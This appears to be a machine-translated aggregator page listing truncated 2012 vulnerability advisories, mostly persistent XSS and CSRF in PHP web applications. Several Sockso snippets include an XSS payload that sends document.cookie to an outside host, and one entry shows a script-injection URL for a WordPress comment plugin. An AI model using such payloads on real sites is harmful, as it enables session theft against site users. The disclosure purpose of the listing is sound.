Axous 1.1.1 multiple defects (CSRF-persistent XSS)-a vulnerability warning-the black bar safety net

Title: Axous 1.1.1 Multiple Vulnerabilities CSRF - Persistent XSS Author: Ivano Binetti http://www.ivanobinetti.com Software download: http://www.axous.com/get.php?pid=1 App developer website: http://www.axous.com/ Affects versions : 1.1.1 and lower Test system : Debian Squeeze 6.0...

Vanilla FirstLastNames 1.3.2 Plugin Persistant XSS

Exploit for php platform in category web applications Title: Vanilla FirstLastNames 1.3.2 Plugin Persistant XSS Vulnerability Date: 18/5/12 Author: Henry Hoggard Author URL: henryhoggard.co.uk Author Twitter: @henryhoggard Software: Vanilla Version 2.0.18.4 + FirstLastNames 1.3.2...

Vanilla Forums LatestComment 1.1 Plugin Persistent XSS

Exploit for php platform in category web applications Title: Vanilla LatestComment 1.1 Plugin Persistant XSS Vulnerability Date: 18/5/12 Author: Henry Hoggard Author URL: henryhoggard.co.uk Author Twitter: @henryhoggard Software: Vanilla Version 2.0.18.4 + Latest Comment 1.1...

Axous 1.1.1 - Cross-Site Request Forgery / Persistent Cross-Site Scripting

+-----------------------------------------------------------------------------------------------------------+ Exploit Title : Axous 1.1.1 Multiple Vulnerabilities CSRF - Persistent XSS Date : 30-04-2012 Author : Ivano Binetti http://www.ivanobinetti.com Software link :...

Axous 1.1.1 - Cross-Site Request Forgery Persistent Cross-Site Scripting

Axous 1.1.1 - Cross-Site Request Forgery Persistent Cross-Site Scripting +-----------------------------------------------------------------------------------------------------------+ Exploit Title : Axous 1.1.1 Multiple Vulnerabilities CSRF - Persistent XSS Date : 30-04-2012 Author : Ivano Binett...

Axous 1.1.1 Cross Site Request Forgery / Cross Site Scripting

+---------------------------------------------------------------------------------------------------------------------------------------------------+ Exploit Title : Axous 1.1.1 Multiple Vulnerabilities CSRF - Persistent XSS Date : 30-04-2012 Author : Ivano Binetti http://www.ivanobinetti.com...

Axous 1.1.1 Multiple Vulnerabilities (CSRF - Persistent XSS)

Exploit for php platform in category web applications +---------------------------------------------------------------------------------------------------------------------------------------------------+ Exploit Title : Axous 1.1.1 Multiple Vulnerabilities CSRF - Persistent XSS Date : 30-04-2012...

persistent xss through svg file attachment download

The fix for CONF-22132 was not sufficient because "svg" files are not "said" to be xml by the isXml method. This means that is possible for a malicious party to upload a svg file containing html/javascript which will be rendered in victim's web browser. This bug should have been raised a while ag...

Sockso <=1.51 Persistent XSS Vulnerability

Exploit for php platform in category web applications Application: Sockso http://sockso.pu-gh.com Versions: alert'xss'; Or the admin cookie session can also be retrieved by using... new Image...

Sockso 1.51 - Persistent Cross-Site Scripting

Sockso 1.51 - Persistent Cross-Site Scripting Application: Sockso http://sockso.pu-gh.com Versions: alert'xss'; Or the admin cookie session can also be retrieved by using... new Image.src="bleh.com/xss.php?c="+encodeURIdocument.cookie...

Sockso 1.51 - Persistent Cross-Site Scripting

Application: Sockso http://sockso.pu-gh.com Versions: alert'xss'; Or the admin cookie session can also be retrieved by using... new Image.src="bleh.com/xss.php?c="+encodeURIdocument.cookie...

WordPress Zingiri Web Shop Plugin <= 2.4.2 - Persistent XSS

WordPress Zingiri Web Shop plugin is prone to persistent cross-site scripting vulnerabilities. It fails to properly clean up user-supplied input. An attacker may execute arbitrary script code in the browser of an user in the context of the affected site. In this way the attacker can steal...

C4B XPhone UC Web 4.1.890S R1 XSS Vulnerability

Exploit for asp platform in category web applications Title: ====== C4B XPhone UC Web 4.1.890S R1 - Cross Site Vulnerability Introduction: ============= XPhone Unified Communications 2011 ist die leistungsstärkste Telefonie- und Kommunikationslösung von C4B. Sie ist leicht zu bedienen und...

Comment matter Wordpress plugin persistent XSS and Key remote arbitrary tampering-bug warning-the black bar safety net

xss /wp-content/plugins/pinglunla/relay. php? sid=ec51555f3e5e125257457a73609bdbe15cb7c29d"/scriptscriptalert0/scriptscript%20src=" The above URL for tampering with comments. SID, while injecting any script, the script will be saved permanently, affecting all of the open comments feature of the...

MiPagina CMS Cross Site Scripting

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 x Official Website: http://www.1337day.com 0 1 x...

Waylu CMS Cross Site Scripting / SQL Injection

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 x Official Website: http://www.1337day.com 0 1 x...

Anchor CMS v0.6 Multiple Persistent XSS Vulnerabilities

Summary Anchor is a content management system, written in PHP5, built for art-directed posts. Description Anchor CMS suffers from multiple stored and reflected XSS vulnerabilities when parsing user input to several parameters via GET and POST method. Attackers can exploit this weakness to execute...

ReadyDesk Cross Site Scripting

Exploit Title: ReadyDesk Cross Site Scripting Date: 19.04.2012 Author: Sony Software Link: http://www.readydesk.com/ Google Dorks: powered by readydesk Web Browser : Mozilla Firefox Blog : http://st2tea.blogspot.com PoC: http://st2tea.blogspot.com/2012/04/readydesk-cross-site-scripting.html...

Ushahidi 2.2 - Multiple Vulnerabilities

Exploit Title: Ushahidi 2.2 Multiple Vulnerabilites Date: 04/12/2012 Author: shpendk Software Link: http://download.ushahidi.com/ Version: 2.2 Tested on: Xampp on Windows Vendor Contact: 03/25/2012 - Contacted again: 03/28/2012 - No Response yet: 04/11/2012 - Full Disclosure: 04/12/2012 1 CSRF Ad...

Ushahidi 2.2 Cross Site Request Forgery / Cross Site Scripting

Exploit Title: Ushahidi 2.2 Multiple Vulnerabilites Date: 04/12/2012 Author: shpendk Software Link: http://download.ushahidi.com/ Version: 2.2 Tested on: Xampp on Windows Vendor Contact: 03/25/2012 - Contacted again: 03/28/2012 - No Response yet: 04/11/2012 - Full Disclosure: 04/12/2012 1 CSRF Ad...